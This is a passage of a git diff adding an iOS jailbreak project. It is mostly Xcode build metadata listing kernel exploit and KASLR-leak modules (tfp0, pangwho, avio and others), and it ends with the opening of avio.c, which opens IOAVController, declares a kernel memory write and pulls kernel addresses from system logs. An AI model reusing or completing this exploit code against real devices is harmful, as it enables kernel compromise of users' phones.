sourcecode.c.c; path = avio.c; sourceTree = ""; }; + 8ACB7C831941A2B500E18AA3 /* avio.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = avio.h; sourceTree = ""; }; +/* End PBXFileReference section */ + +/* Begin PBXFrameworksBuildPhase section */ + 8A6E735B188EF0B0000D650F /* Frameworks */ = { + isa = PBXFrameworksBuildPhase; + buildActionMask = 2147483647; + files = ( + 8AB037D918DDEB64001AC096 /* IOKit.framework in Frameworks */, + 8A6E7437188EFDE4000D650F /* CoreFoundation.framework in Frameworks */, + ); + runOnlyForDeploymentPostprocessing = 0; + }; +/* End PBXFrameworksBuildPhase section */ + +/* Begin PBXGroup section */ + 8A4248791B44CE3200DC2E9F /* pangwho */ = { + isa = PBXGroup; + children = ( + 8A42487A1B44CE4900DC2E9F /* pangwho.c */, + 8A42487B1B44CE4900DC2E9F /* pangwho.h */, + ); + name = pangwho; + sourceTree = ""; + }; + 8A6E7355188EF0B0000D650F = { + isa = PBXGroup; + children = ( + 8A6E7360188EF0B0000D650F /* patch */, + 8A6E735F188EF0B0000D650F /* Products */, + 8A6E743F188EFE5E000D650F /* Frameworks */, + ); + sourceTree = ""; + }; + 8A6E735F188EF0B0000D650F /* Products */ = { + isa = PBXGroup; + children = ( + 8A6E735E188EF0B0000D650F /* patch */, + ); + name = Products; + sourceTree = ""; + }; + 8A6E7360188EF0B0000D650F /* patch */ = { + isa = PBXGroup; + children = ( + 8A6E7431188EF538000D650F /* find */, + 8A6E742E188EF512000D650F /* kaslr */, + 8A6E742D188EF50C000D650F /* kernel */, + 8A6E7479189958DF000D650F /* macho */, + 8A6E73D6188EF2F8000D650F /* patch.c */, + 8A6E73D7188EF2F8000D650F /* patch.h */, + 8A6E7361188EF0B0000D650F /* Package */, + 8A6E7365188EF0B0000D650F /* Supporting Files */, + ); + path = patch; + sourceTree = ""; + }; + 8A6E7361188EF0B0000D650F /* Package */ = { + isa = PBXGroup; + children = ( + 8A6E7362188EF0B0000D650F /* DEBIAN */, + 8A6E7367188EF0B0000D650F /* usr */, + ); + name = Package; + sourceTree = ""; + }; + 8A6E7362188EF0B0000D650F /* DEBIAN */ = { + isa = PBXGroup; + children = ( + 8A6E7363188EF0B0000D650F /* control.txt */, + 8A6E7364188EF0B0000D650F /* control */, + ); + name = DEBIAN; + sourceTree = ""; + }; + 8A6E7365188EF0B0000D650F /* Supporting Files */ = { + isa = PBXGroup; + children = ( + 8A6E7366188EF0B0000D650F /* PackageVersion.plist */, + 8A6E73CB188EF2F8000D650F /* com.sudo-sec.patch.plist */, + ); + name = "Supporting Files"; + sourceTree = ""; + }; + 8A6E7367188EF0B0000D650F /* usr */ = { + isa = PBXGroup; + children = ( + 8A6E7368188EF0B0000D650F /* bin */, + ); + name = usr; + sourceTree = ""; + }; + 8A6E7368188EF0B0000D650F /* bin */ = { + isa = PBXGroup; + children = ( + 8A6E7369188EF0B0000D650F /* 0xdeadfa11 */, + ); + name = bin; + sourceTree = ""; + }; + 8A6E742D188EF50C000D650F /* kernel */ = { + isa = PBXGroup; + children = ( + 8A6E73D2188EF2F8000D650F /* kernel.c */, + 8A6E73D3188EF2F8000D650F /* kernel.h */, + 8A6E7430188EF531000D650F /* exploits */, + ); + name = kernel; + sourceTree = ""; + }; + 8A6E742E188EF512000D650F /* kaslr */ = { + isa = PBXGroup; + children = ( + 8A6E73D0188EF2F8000D650F /* kaslr.c */, + 8A6E73D1188EF2F8000D650F /* kaslr.h */, + 8A6E742F188EF522000D650F /* exploits */, + ); + name = kaslr; + sourceTree = ""; + }; + 8A6E742F188EF522000D650F /* exploits */ = { + isa = PBXGroup; + children = ( + 8A75E8FC197EEEF70007FCA7 /* earlyrandom */, + 8A6E7433188EF59D000D650F /* vmmap */, + 8A6E7432188EF593000D650F /* devtree */, + ); + name = exploits; + sourceTree = ""; + }; + 8A6E7430188EF531000D650F /* exploits */ = { + isa = PBXGroup; + children = ( + 8A4248791B44CE3200DC2E9F /* pangwho */, + 8A75E8F8197EEEC00007FCA7 /* dangu */, + 8ACB7C801941A25C00E18AA3 /* avio */, + 8A7EABF118E48C4F0066C1F8 /* pmap */, + 8A6E7435188EF5CC000D650F /* tfp0 */, + 8A6E7434188EF5BD000D650F /* m1n0rthreat */, + ); + name = exploits; + sourceTree = ""; + }; + 8A6E7431188EF538000D650F /* find */ = { + isa = PBXGroup; + children = ( + 8A6E73CE188EF2F8000D650F /* find.c */, + 8A6E73CF188EF2F8000D650F /* find.h */, + ); + name = find; + sourceTree = ""; + }; + 8A6E7432188EF593000D650F /* devtree */ = { + isa = PBXGroup; + children = ( + 8A6E73CC188EF2F8000D650F /* devtree.c */, + 8A6E73CD188EF2F8000D650F /* devtree.h */, + ); + name = devtree; + sourceTree = ""; + }; + 8A6E7433188EF59D000D650F /* vmmap */ = { + isa = PBXGroup; + children = ( + 8A6E73DA188EF2F8000D650F /* vmmap.c */, + 8A6E73DB188EF2F8000D650F /* vmmap.h */, + ); + name = vmmap; + sourceTree = ""; + }; + 8A6E7434188EF5BD000D650F /* m1n0rthreat */ = { + isa = PBXGroup; + children = ( + 8A6E73D4188EF2F8000D650F /* m1n0rthreat.c */, + 8A6E73D5188EF2F8000D650F /* m1n0rthreat.h */, + ); + name = m1n0rthreat; + sourceTree = ""; + }; + 8A6E7435188EF5CC000D650F /* tfp0 */ = { + isa = PBXGroup; + children = ( + 8A6E73D8188EF2F8000D650F /* tfp0.c */, + 8A6E73D9188EF2F8000D650F /* tfp0.h */, + ); + name = tfp0; + sourceTree = ""; + }; + 8A6E743F188EFE5E000D650F /* Frameworks */ = { + isa = PBXGroup; + children = ( + 8A6E7438188EFDFE000D650F /* IOKit.framework */, + 8A6E7436188EFDE4000D650F /* CoreFoundation.framework */, + ); + name = Frameworks; + sourceTree = ""; + }; + 8A6E7479189958DF000D650F /* macho */ = { + isa = PBXGroup; + children = ( + 8A6E747A189959D0000D650F /* debug.h */, + 8A6E7467189958DA000D650F /* command.c */, + 8A6E7468189958DA000D650F /* command.h */, + 8A6E7469189958DA000D650F /* macho.c */, + 8A6E746A189958DA000D650F /* macho.h */, + 8A6E746B189958DA000D650F /* section.c */, + 8A6E746C189958DA000D650F /* section.h */, + 8A6E746D189958DA000D650F /* segment.c */, + 8A6E746E189958DA000D650F /* segment.h */, + 8A6E746F189958DA000D650F /* symbol.c */, + 8A6E7470189958DA000D650F /* symbol.h */, + 8A6E7471189958DA000D650F /* symtab.c */, + 8A6E7472189958DA000D650F /* symtab.h */, + ); + name = macho; + sourceTree = ""; + }; + 8A75E8F8197EEEC00007FCA7 /* dangu */ = { + isa = PBXGroup; + children = ( + 8A75E8F9197EEED10007FCA7 /* dangu.c */, + 8A75E8FB197EEEE40007FCA7 /* dangu.h */, + ); + name = dangu; + sourceTree = ""; + }; + 8A75E8FC197EEEF70007FCA7 /* earlyrandom */ = { + isa = PBXGroup; + children = ( + 8A75E8FD197EEF1D0007FCA7 /* earlyrandom.c */, + 8A75E8FF197EEF290007FCA7 /* earlyrandom.h */, + ); + name = earlyrandom; + sourceTree = ""; + }; + 8A7EABF118E48C4F0066C1F8 /* pmap */ = { + isa = PBXGroup; + children = ( + 8A7EABF218E48C660066C1F8 /* pmap.c */, + 8A7EABF418E48C720066C1F8 /* pmap.h */, + ); + name = pmap; + sourceTree = ""; + }; + 8ACB7C801941A25C00E18AA3 /* avio */ = { + isa = PBXGroup; + children = ( + 8ACB7C811941A2A200E18AA3 /* avio.c */, + 8ACB7C831941A2B500E18AA3 /* avio.h */, + ); + name = avio; + sourceTree = ""; + }; +/* End PBXGroup section */ + +/* Begin PBXNativeTarget section */ + 8A6E735D188EF0B0000D650F /* patch */ = { + isa = PBXNativeTarget; + buildConfigurationList = 8A6E736E188EF0B0000D650F /* Build configuration list for PBXNativeTarget "patch" */; + buildPhases = ( + 8A6E735A188EF0B0000D650F /* Sources */, + 8A6E735B188EF0B0000D650F /* Frameworks */, + 8A6E735C188EF0B0000D650F /* ShellScript */, + ); + buildRules = ( + ); + dependencies = ( + ); + name = patch; + productName = patch; + productReference = 8A6E735E188EF0B0000D650F /* patch */; + productType = "com.apple.product-type.tool"; + }; +/* End PBXNativeTarget section */ + +/* Begin PBXProject section */ + 8A6E7356188EF0B0000D650F /* Project object */ = { + isa = PBXProject; + attributes = { + LastUpgradeCheck = 0510; + }; + buildConfigurationList = 8A6E7359188EF0B0000D650F /* Build configuration list for PBXProject "patch" */; + compatibilityVersion = "Xcode 3.2"; + developmentRegion = English; + hasScannedForEncodings = 0; + knownRegions = ( + en, + ); + mainGroup = 8A6E7355188EF0B0000D650F; + productRefGroup = 8A6E735F188EF0B0000D650F /* Products */; + projectDirPath = ""; + projectRoot = ""; + targets = ( + 8A6E735D188EF0B0000D650F /* patch */, + ); + }; +/* End PBXProject section */ + +/* Begin PBXShellScriptBuildPhase section */ + 8A6E735C188EF0B0000D650F /* ShellScript */ = { + isa = PBXShellScriptBuildPhase; + buildActionMask = 2147483647; + files = ( + ); + inputPaths = ( + ); + outputPaths = ( + ); + runOnlyForDeploymentPostprocessing = 0; + shellPath = /bin/sh; + shellScript = "/opt/iOSOpenDev/bin/iosod --xcbp"; + }; +/* End PBXShellScriptBuildPhase section */ + +/* Begin PBXSourcesBuildPhase section */ + 8A6E735A188EF0B0000D650F /* Sources */ = { + isa = PBXSourcesBuildPhase; + buildActionMask = 2147483647; + files = ( + 8A6E7473189958DA000D650F /* command.c in Sources */, + 8A6E7476189958DA000D650F /* segment.c in Sources */, + 8A6E73E1188EF2F8000D650F /* patch.c in Sources */, + 8A6E7475189958DA000D650F /* section.c in Sources */, + 8A6E73E3188EF2F8000D650F /* vmmap.c in Sources */, + 8A6E73DE188EF2F8000D650F /* kaslr.c in Sources */, + 8A75E8FE197EEF1D0007FCA7 /* earlyrandom.c in Sources */, + 8A75E8FA197EEED10007FCA7 /* dangu.c in Sources */, + 8ACB7C821941A2A200E18AA3 /* avio.c in Sources */, + 8A6E7474189958DA000D650F /* macho.c in Sources */, + 8A6E73DD188EF2F8000D650F /* find.c in Sources */, + 8A6E73DF188EF2F8000D650F /* kernel.c in Sources */, + 8A6E73E0188EF2F8000D650F /* m1n0rthreat.c in Sources */, + 8A42487C1B44CE4900DC2E9F /* pangwho.c in Sources */, + 8A7EABF318E48C660066C1F8 /* pmap.c in Sources */, + 8A6E73DC188EF2F8000D650F /* devtree.c in Sources */, + 8A6E7478189958DA000D650F /* symtab.c in Sources */, + 8A6E73E2188EF2F8000D650F /* tfp0.c in Sources */, + 8A6E7477189958DA000D650F /* symbol.c in Sources */, + ); + runOnlyForDeploymentPostprocessing = 0; + }; +/* End PBXSourcesBuildPhase section */ + +/* Begin XCBuildConfiguration section */ + 8A6E736C188EF0B0000D650F /* Debug */ = { + isa = XCBuildConfiguration; + buildSettings = { + CLANG_ENABLE_MODULES = YES; + COPY_PHASE_STRIP = NO; + EXCLUDED_RECURSIVE_SEARCH_PATH_SUBDIRECTORIES = "*.nib *.lproj *.gch (*) .DS_Store CVS .svn .git .hg *.xcodeproj *.xcode *.pbproj *.pbxproj"; + FRAMEWORK_SEARCH_PATHS = ( + "$(iOSOpenDevPath)/frameworks/**", + "$(SDKROOT)/System/Library/PrivateFrameworks", + ); + GCC_C_LANGUAGE_STANDARD = gnu99; + GCC_DYNAMIC_NO_PIC = NO; + GCC_OPTIMIZATION_LEVEL = 0; + GCC_PREPROCESSOR_DEFINITIONS = ( + "DEBUG=1", + "$(inherited)", + ); + GCC_SYMBOLS_PRIVATE_EXTERN = NO; + GCC_WARN_ABOUT_MISSING_PROTOTYPES = YES; + GCC_WARN_ABOUT_RETURN_TYPE = YES; + GCC_WARN_UNUSED_VARIABLE = YES; + HEADER_SEARCH_PATHS = "$(iOSOpenDevPath)/include/**"; + IPHONEOS_DEPLOYMENT_TARGET = 7.0; + LIBRARY_SEARCH_PATHS = "$(iOSOpenDevPath)/lib/**"; + MACH_O_TYPE = mh_dylib; + ONLY_ACTIVE_ARCH = YES; + SDKROOT = iphoneos; + TARGETED_DEVICE_FAMILY = "1,2"; + VALIDATE_PRODUCT = NO; + iOSOpenDevPath = /opt/iOSOpenDev; + }; + name = Debug; + }; + 8A6E736D188EF0B0000D650F /* Release */ = { + isa = XCBuildConfiguration; + buildSettings = { + CLANG_ENABLE_MODULES = YES; + COPY_PHASE_STRIP = YES; + EXCLUDED_RECURSIVE_SEARCH_PATH_SUBDIRECTORIES = "*.nib *.lproj *.gch (*) .DS_Store CVS .svn .git .hg *.xcodeproj *.xcode *.pbproj *.pbxproj"; + FRAMEWORK_SEARCH_PATHS = ( + "$(iOSOpenDevPath)/frameworks/**", + "$(SDKROOT)/System/Library/PrivateFrameworks", + ); + GCC_C_LANGUAGE_STANDARD = gnu99; + GCC_WARN_ABOUT_MISSING_PROTOTYPES = YES; + GCC_WARN_ABOUT_RETURN_TYPE = YES; + GCC_WARN_UNUSED_VARIABLE = YES; + HEADER_SEARCH_PATHS = "$(iOSOpenDevPath)/include/**"; + IPHONEOS_DEPLOYMENT_TARGET = 7.0; + LIBRARY_SEARCH_PATHS = "$(iOSOpenDevPath)/lib/**"; + MACH_O_TYPE = mh_dylib; + SDKROOT = iphoneos; + TARGETED_DEVICE_FAMILY = "1,2"; + VALIDATE_PRODUCT = YES; + iOSOpenDevPath = /opt/iOSOpenDev; + }; + name = Release; + }; + 8A6E736F188EF0B0000D650F /* Debug */ = { + isa = XCBuildConfiguration; + buildSettings = { + CODE_SIGN_IDENTITY = ""; + INSTALL_PATH = /usr/bin; + MACH_O_TYPE = mh_dylib; + PRODUCT_NAME = "$(TARGET_NAME)"; + iOSOpenDevBuildPackageOnAnyBuild = NO; + iOSOpenDevCopyOnBuild = NO; + iOSOpenDevDevice = iphone; + iOSOpenDevInstallOnAnyBuild = NO; + iOSOpenDevInstallOnProfiling = YES; + iOSOpenDevRespringOnInstall = NO; + iOSOpenDevUsePackageVersionPList = YES; + }; + name = Debug; + }; + 8A6E7370188EF0B0000D650F /* Release */ = { + isa = XCBuildConfiguration; + buildSettings = { + CODE_SIGN_IDENTITY = ""; + INSTALL_PATH = /usr/bin; + MACH_O_TYPE = mh_dylib; + PRODUCT_NAME = "$(TARGET_NAME)"; + iOSOpenDevBuildPackageOnAnyBuild = NO; + iOSOpenDevCopyOnBuild = NO; + iOSOpenDevDevice = iphone; + iOSOpenDevInstallOnAnyBuild = NO; + iOSOpenDevInstallOnProfiling = YES; + iOSOpenDevRespringOnInstall = NO; + iOSOpenDevUsePackageVersionPList = YES; + }; + name = Release; + }; +/* End XCBuildConfiguration section */ + +/* Begin XCConfigurationList section */ + 8A6E7359188EF0B0000D650F /* Build configuration list for PBXProject "patch" */ = { + isa = XCConfigurationList; + buildConfigurations = ( + 8A6E736C188EF0B0000D650F /* Debug */, + 8A6E736D188EF0B0000D650F /* Release */, + ); + defaultConfigurationIsVisible = 0; + defaultConfigurationName = Release; + }; + 8A6E736E188EF0B0000D650F /* Build configuration list for PBXNativeTarget "patch" */ = { + isa = XCConfigurationList; + buildConfigurations = ( + 8A6E736F188EF0B0000D650F /* Debug */, + 8A6E7370188EF0B0000D650F /* Release */, + ); + defaultConfigurationIsVisible = 0; + defaultConfigurationName = Release; + }; +/* End XCConfigurationList section */ + }; + rootObject = 8A6E7356188EF0B0000D650F /* Project object */; +} diff --git a/patch/patch.xcodeproj/project.xcworkspace/contents.xcworkspacedata b/patch/patch.xcodeproj/project.xcworkspace/contents.xcworkspacedata new file mode 100644 index 0000000..8e1aa2d --- /dev/null +++ b/patch/patch.xcodeproj/project.xcworkspace/contents.xcworkspacedata @@ -0,0 +1,7 @@ + + + + + diff --git a/patch/patch.xcodeproj/project.xcworkspace/xcuserdata/posixninja.xcuserdatad/UserInterfaceState.xcuserstate b/patch/patch.xcodeproj/project.xcworkspace/xcuserdata/posixninja.xcuserdatad/UserInterfaceState.xcuserstate new file mode 100644 index 0000000000000000000000000000000000000000..0e366eb39f4bb9f7f24eec6eea37259340f6b72d GIT binary patch literal 13366 zcmd6N33QW17xpY~nkH%1wrQF)`wnesY3ah+(giA8rL^qS(1tdUHZ@6EtmwR=s35Y4 zD2PbQj;M$Wf*^`M>6z=FK~IX70?~``m3N zH+emQU`EFK00IOsU;q!q@HD)XF_!6Wf578w9AoiKp6ad%2F6-k{+fCZeLcz&^ff5} zoV)rNIjjSG5DOB45+nf?NCjyi9rOShAQSWiSs)wq0{LJ7C;%ft1sDY?K@}Jc#(=S4 z92gH=U^1u!KF|bi1%40!)4?6!PH-2v2P^;&f`woaSPfc18(0I@f^}d$*aDsc&w=N` zF0dQC0uF$K;9YP8d<;GT$HCX&6gUgcgDc>7h+r&~Kq*Xw8fbpD75#>OM}MF{(KQUP5+`95PR44i!6{ga zby$xr*om`nHtvUu@E|+{kHF=46dr>o;EA{f*Wqcn2?z0QxCOI#K3<4haT{KP*Wz_} zJ>Gyf;!XGk{370tU&628gZMCh7azkP;m`1Kd;*`sr|}tl7JrAY;-B#^43CLn_)IJ# zV5E$UNo2H)jF z$W!u?DlLu8Uhgp=074)FaX_ zthi*f&p$2DJrnJHKbolA`QhC29F3nY4GWtgN)W;@rZt%);E#%#6a~ zjMBW)2%pKo1iEhoYM=orKnrw04-CLaVhEqa5&;ns5s4$>jlc{nzzS@XZ7pyDE0GW> zkrM@7fPiS|lVcLcjHj{IH>1?=YH(M}jP%6_f34f^uI*rQlxuR4uQBNNdA$@Ps%6O? zoyrFxz;{BC#SFkdb0-@ohXqB>R=<@PM;m6KVN)+;L~pDwU8BdsvAs3Foa;xfC31xL)R8wM0OGc_8V|J>cC9`LCW~w1KH*farqaiWL0eP)JOZQNA z6!ZptKwr>rTv$RH=_ZZ|Ke_`{kP7{N*Q_>5(0|PEiV-1Tjg1^)At(dgH-Lel2o!@7 zPznZt!6cp}kVK*+Nkm1GH-MYyu?+>oz;OCqPSo_!QizibrQf58qgtjc3lm*=lf$-kffGKUD7PyI?ScyF{Ks}fS654rFfdjaNPPPWj={nt9a6jnY z2JQv-k#2-O%medDDoG1%Plek{t+czgHi3jzu#xm?1)E6@ z2jv`TmCM`g4ipBul0FT#a&r0%$!!JCl04$5Y;px_>LVk)0AAwG>qW4gGptq9Nk{{L9RqwzN;(Jl4*bxuG3Q7raYTAt02jH2?WA`rxI_kZHe3b2 za1DD&-&XJ|8Qj_M2e`&H93uT&As}TP4G=>f*Kmv!w89v2Q)hz!if98Ak|C|3bvs6f zR-Inc&IFV}1=o{<7Z^{55l0A0pb|`31CyW%CX?ahW-_V+PGAbuchz%ffJQQclyjoN zA!~;ib1+6#zaXUgk=bm}8P&NP>`q3K3W`OvYbX4f3+CPz)h`2PMfJ;uy+|dgicH#p zqBoqhH!KF-H^DxzFYE{V!vU}W7Q%tBh>Rg)$v85eOdu1~Ql`;QBe|R0LmuQLLB?Tsv3qiJU7g#{O-k)e#|lE$o+@W!t;=7_EsP@$ zFODKWRXCOi|E_4B+(2<@T=-YmO^ByGirrIO&E8;WhVbx)_E+Ux_dt*;_egh>-yNV2 zE)I^V?;(#c)L|ROc|$g@i<-i*a6BgvF$n9%z2mQ0cq8p?h2y7-(i7dj@OgJm7!ZK>es4oj=b0l|= z1|p*e(y7$BJvm<{JEKFX;a%`v(0whO1Mi0Sz`4Xnn#irhzZTvH?}zi?d=enDNDH~0 z!p>0ll#p{UcBH4SKJ+v$yrJPkP2|KN;y`p9YlOii@DXmBhu~89FkD80q?t@7GuBdR z91K?gCzZizWG0nDdRUq&m*2wyJ@wSwGdRf#jC9Qi19G)Y9o^c#UlldJCeFY`HHNzT z{8YxMkLqdSJR~Z_Q6!cjn|i7X<3EF=$o2!DpZ&Bp2Z|8t7kwEn{fr!&~cjH&!*d=>OpO8gAUi zASWnP$ZFfew!%<`gp<^0pc?PCWCbzKPz9HY5i9|2}!h8%0t?5yJd8W@tllZuGxH+AeG;9_c{$ z%_spSA|*;fDwK@WNP|+4mOMr}fAn1G6~1PFjk|~{N@Rq-XaMyUQ9sn5w2^gfr~nm`4dfZ>PN8BTLM8AL z8iWRONs!5|fO|as_Pf1w2d2BJn64#js%7OK!CG=zp+ zUAQR^&Ak4fpE=?oq6##I8YeUgRiY|1nrtMS$Y%27S~M1o16DMFY#~okxqF)1ZdG|0 zR3gVY%F{rF#MRJ5b2!&EwTB-?^)A1Q#%lhNuEsj|#KE3gccIr?76{Pzf_f&`b&7;2 z(Y?%tJAat+-SYY0jN#G}S$TQ0tHSw-$gxgA)3_DXp?c&&Q^{8HEZIh$TZ_D?fv&(u zo+mHR6}vrxq}tOL&kXmC0J<2_CFzDBn%keA-GTGp+0dayRcUm7*$ zo^r0K+)Fcz^*%4n=Jjsse6Do)8>Z)$M+9drTF)WMI`U>K+CUCRKUM|=vnd>dAkighn^?zkavlta)zfiSYK7|=6p?a!Tlkh0GJEzJs)}sTg#WZ zY>+sVl4XcJ{BAFOhx*e6(Is_wEoeV_ho(%?0dx?(f!;)i&|&lzdYc?0?~@P6hvXyj zG5Lgix)HsLj-dCbq)5?$koEbDg>Dv3q0+%nVoqKt2KY z4kl&1st^X&oo!lu?j%i-XUG56j|J!Wsb=e9GF->P|!U$u`U>=Ua zd>o4fSV+Dh-;#fkv*bJSJ^6v0BR_7!aabG<<*^(qa6Cn|^DM;SSe}Ju7G|@sHz%`Q zqU8VQVf138+o|7<9k7KaUMbBI^3w;n z8}1H7I2EVibld}H;7mA}%1y*-M*wMFxe5YJWzHNiCDOOEjr>V2 zu{29{kxZ+W_2}@!!ucU;6}a?gc)auu_q`(<8$v7G3*@cGIXD;R;e6a1_aT?bRq`|W zmHbA2r-3N$j|b2IMF#Y^9m2!ttN!E{az%zBFZYJ%`gWz;&ap~*bDXtP;jy7t ze{iqb4LF`e&!!rcV;8(MzP3G@qORZAV8oju>&Z1PCZhEfT#Kn0jHh-jasrXlYr|8x zCEchg+_N5gs$~wkD^W+%xkb@oTN|Fr4fnU{qe43D?F{Kyh^U}OVmf>)jp?w73T`A@ zgPZXTYIN~*7Ba1PCJT9-Rr$ZlQQ_P19b6pG<*4wTEX{~Ua<2F;Joozi6uy@p!Tl`c zlW8o?Wm>|r_W;M&0v5)0GPVfQy#EHg7%#yO;idRtybM3WLIDefEEKUYj)h_tN?0h} zfS2PH_%XZ^3h^q`pM^3OQmjs7p`Hw3p@CXo#{>@hid{h$7dDUY5|L3a`rn-a&9FqB z73cd=6^xwx4cau3wvw4NMCa}>bn40YNE?+cn$~Y>p6vD1q}QYcLSa$6!NQyIGa%uw zzBAs6p9NO@919gJ%^TCzCD2Mw;ZDwt9o_qeZfsZB*@1V4VTXk}7Ao6uBE0i^IIZ7{ zU&Z_IYxs4%pM^;*RIxCbg=!XRSeSC1?uS)9qIUmTJtI_qPdPv5l#_+pf1{mYJ*3DP ziq)#AcU;ZIg%0Q64m`sv{)UsaZ&_%%E+3hfLF1X+oScq)B>o;>2<0R3Is7BMoA_90 zVWE{Yt;Ij#ixh7zv(U!UoO%ljdva=Xg`Sgq_iu3?uA$PGblOqilM3Fj}ZX9cL-?IKgRx~nj4)7E;_E$-)W_ z>BfZvog3D2|7&IS@04f%*@AH7oEI<)BLzxk5etWQR4AE;n1{IoU&_K^t;{kO4!^E= z%dB7?=W3|iX$i46Ey^;hz>6##!4**>gSRp3!d2G2^le{SWo0&yd={2>Qfy|P3R6TX zw#+je#m$`*+n5)^6xUa3DZ+LZX+k$oA~_M}WoCEBqF!O)sLn;b%DmROsMlFo**Vcc z=1tlJxWX%Qh=o<1EpIdLaxGltl{vyfdXXfuz+=n@TnkrvWj8KSm6!*t>a{V3ieY7(E$WX+OfZb0loETBY%d|qvTw$&< zKeKQW3vXfJxiR z5ce#1ZP;;g``_bfdAiC_f}22kB{OsQT?`hs{ z-X7koyw`a9c?WrK@(%Of=AGgF661{N8#68Dj+h5x9*kKSvohw1nAVuJG3#SC#_WpO zA9ELQs^Ht2Lm@_fo#rzQSW6Xt^YkUPio}a?E@_X`g`NjM){t*5!{z(2P zeieTV-^HKGpT#Hq`}t4s*Yls_zr^3k-^G8G{~CWk{~-S}{-3eN*!0*wvHfBP#1_UD z#g@bliX9bO6+0$&T3Q7=(%QD0GiQGuvJG(qGMHHw-1^qpQdT-gx=8x4 z^bzTD=_=`JX`6Jd^eO3!($}PKNDoQhlD;QBCjCJAk@TeWtn{k%XX!7}-(;~ekxVR; z$rQ2#nM0N-%aP^DddvFC%4EZ3<+72o(Xz3!@v@1sI$4u!w(Kt1-Lko|`LYGFg|fx6 zHL@+T-Lj*y@8x{CKrWJtJ2?-M^hz9Ig;__p{R@dx7Hj6WRzPW+Mhqw&8b z#3qOnqzUo_Wr8X}osg2?Ovp^=moOlqFrg@6S;7+u>k>96Y){yc@N&ZLL|LLX(U#~) z?3S3Cn4XxMn4j1uv0vhV#KOc0iE|PcC+y?|7Pb!~QZdGnm?o}R89#fuCeycpI{9buZd0zRG z@{;n3^5-N`k~m44Bu|P@N=!;hN>0)wX_NFx&ZO+5VM$|?nv(8GT9LFZ>2T6VDn=z# ziBu|;Mx|95R3?>0m8r^7^-|@k=BXZ0tyHa2tyZm5ZBT7eJ*j$D^^)pU)gjd})yJw& zRiCTARDGlRUUg1&UiFjeTCyxzk(`jMOjaeUlT(s)$%f?2DsBTlQRj*fXR6nVH zTK%m0IrWR`m()Ae2h^XaztJRVx@pF0yqXrxQq4-uCe1F*E1JEUeVW%b2Q+VJ4r$)f zyrVg(`C4;E^R4Er=6lVLnx8b6HCHviq%bMkl|bmSlgyut6i_%sNJmHqJ3Js zRl8gJhV~up5$#d!``RzGzw4mRpi9&B&}HhfbOpMBx?)|aZm_OWH(EDVH(pn-o2v8b z8g(tY*}6M*tnOajQr&9ZX5ALu)4Hv?9lCdQ@9WO$F6wo9vwpa~PCr%e)i>&!^t1H0 z>+jGL{Q~_W{X_a?`sMn^^sniU=#S|?(0{D|O#g-ctp0-jqW-e}s{T&{G+;xFA=V%_ zBp8wm$p)LDmm$y4$I#zUXec%eGTdYsYnWiDHcU3S4Rwa82Ct#f&|4jLpWG#unopMq<3nIN$iF@iF5n zW2@nz#~;~wK%#&?WIj7N>fjVFy?8&4a5GF~!XG5&1gnfNAwNn}!) zG$yS{Z?c+tnzBtfraaRSQ_wWqL`-u`_n20iHkr1Wo;Phb?KJH&?Kiz)I&6B|bi{Pj zbk=m)jLagl#4I-_n3K!~v&n2R+sqDgH}hb#+kBt7)%>*iS@ZMe?dF~4UFIX^Pt0GM zPnu7e&zLWoe>VSW{@nsC*b-xjwa6_xi`ine*e$7+bW5fs%hK0UW*KT3VHs%|WvQ}E zwal>GX1U#Rr{ylo-IfKGC65>&`N;B#X#dH6$$r)TtNnL} zz!B$=IOL85htgqo*c=W=cSpJ-!_m)C;27vAaSV3ce*MZg=i*9(Epa Vei({g0Yc$#o<95?`S1Mr{{YyIK9T?c literal 0 HcmV?d00001 diff --git a/patch/patch.xcodeproj/xcuserdata/posixninja.xcuserdatad/xcschemes/patch.xcscheme b/patch/patch.xcodeproj/xcuserdata/posixninja.xcuserdatad/xcschemes/patch.xcscheme new file mode 100644 index 0000000..ccdcd36 --- /dev/null +++ b/patch/patch.xcodeproj/xcuserdata/posixninja.xcuserdatad/xcschemes/patch.xcscheme @@ -0,0 +1,86 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/patch/patch.xcodeproj/xcuserdata/posixninja.xcuserdatad/xcschemes/xcschememanagement.plist b/patch/patch.xcodeproj/xcuserdata/posixninja.xcuserdatad/xcschemes/xcschememanagement.plist new file mode 100644 index 0000000..cac694b --- /dev/null +++ b/patch/patch.xcodeproj/xcuserdata/posixninja.xcuserdatad/xcschemes/xcschememanagement.plist @@ -0,0 +1,22 @@ + + + + + SchemeUserState + + patch.xcscheme + + orderHint + 0 + + + SuppressBuildableAutocreation + + 8A6E735D188EF0B0000D650F + + primary + + + + + diff --git a/patch/patch/PackageVersion.plist b/patch/patch/PackageVersion.plist new file mode 100644 index 0000000..7b7575c --- /dev/null +++ b/patch/patch/PackageVersion.plist @@ -0,0 +1,16 @@ + + + + + BugFix + + Major + 1 + Minor + 0 + PackageRevision + 1 + Stage + + + diff --git a/patch/patch/avio.c b/patch/patch/avio.c new file mode 100644 index 0000000..85df67f --- /dev/null +++ b/patch/patch/avio.c @@ -0,0 +1,176 @@ +#include +#include +#include +#include +#include +#include +#include +#include + +#include "avio.h" + +// STR.W R4, [R0,#0x98] +const int g_addr_offset = 0x98; + +io_connect_t g_connection = 0; +// IOService object address +uint32_t g_ioservice_addr = 0; + +void write_mem_from_av(uint32_t address, uint32_t value); + +void close_av_device() +{ + if (g_connection != 0) + IOServiceClose(g_connection); +} + +io_connect_t open_av_device() +{ + CFMutableDictionaryRef matching; + io_service_t service; + kern_return_t kr; + + if (g_connection != 0) + return g_connection; + + matching = IOServiceMatching("IOAVController"); + service = IOServiceGetMatchingService(kIOMasterPortDefault, matching); + kr = IOServiceOpen(service, mach_task_self(), 0, &g_connection); + if(KERN_SUCCESS != kr) + { + syslog(LOG_ERR, "Open IOService fail: %x\n", kr); + g_connection = 0; + return 0; + } + + return g_connection; +} + +// we can only query asl as root :( +// but we could get log from console log in tools like xcode! +// so call set_av_ioservice_addr to set the address +uint32_t get_address_from_asl() +{ + aslmsg q, m; + int i; + const char *key, *val, *ptr, *ptr2; + char addressData[256] = {}; + q = asl_new(ASL_TYPE_QUERY); + asl_set_query(q, ASL_KEY_SENDER, "kernel", ASL_QUERY_OP_EQUAL); + aslresponse r = asl_search(NULL, q); + syslog(LOG_ERR, "aslmsg: %p aslresponse: %p ret: %d\n", q, r, errno); + while (NULL != (m = aslresponse_next(r))) + { + for (i = 0; (NULL != (key = asl_key(m, i))); i++) + 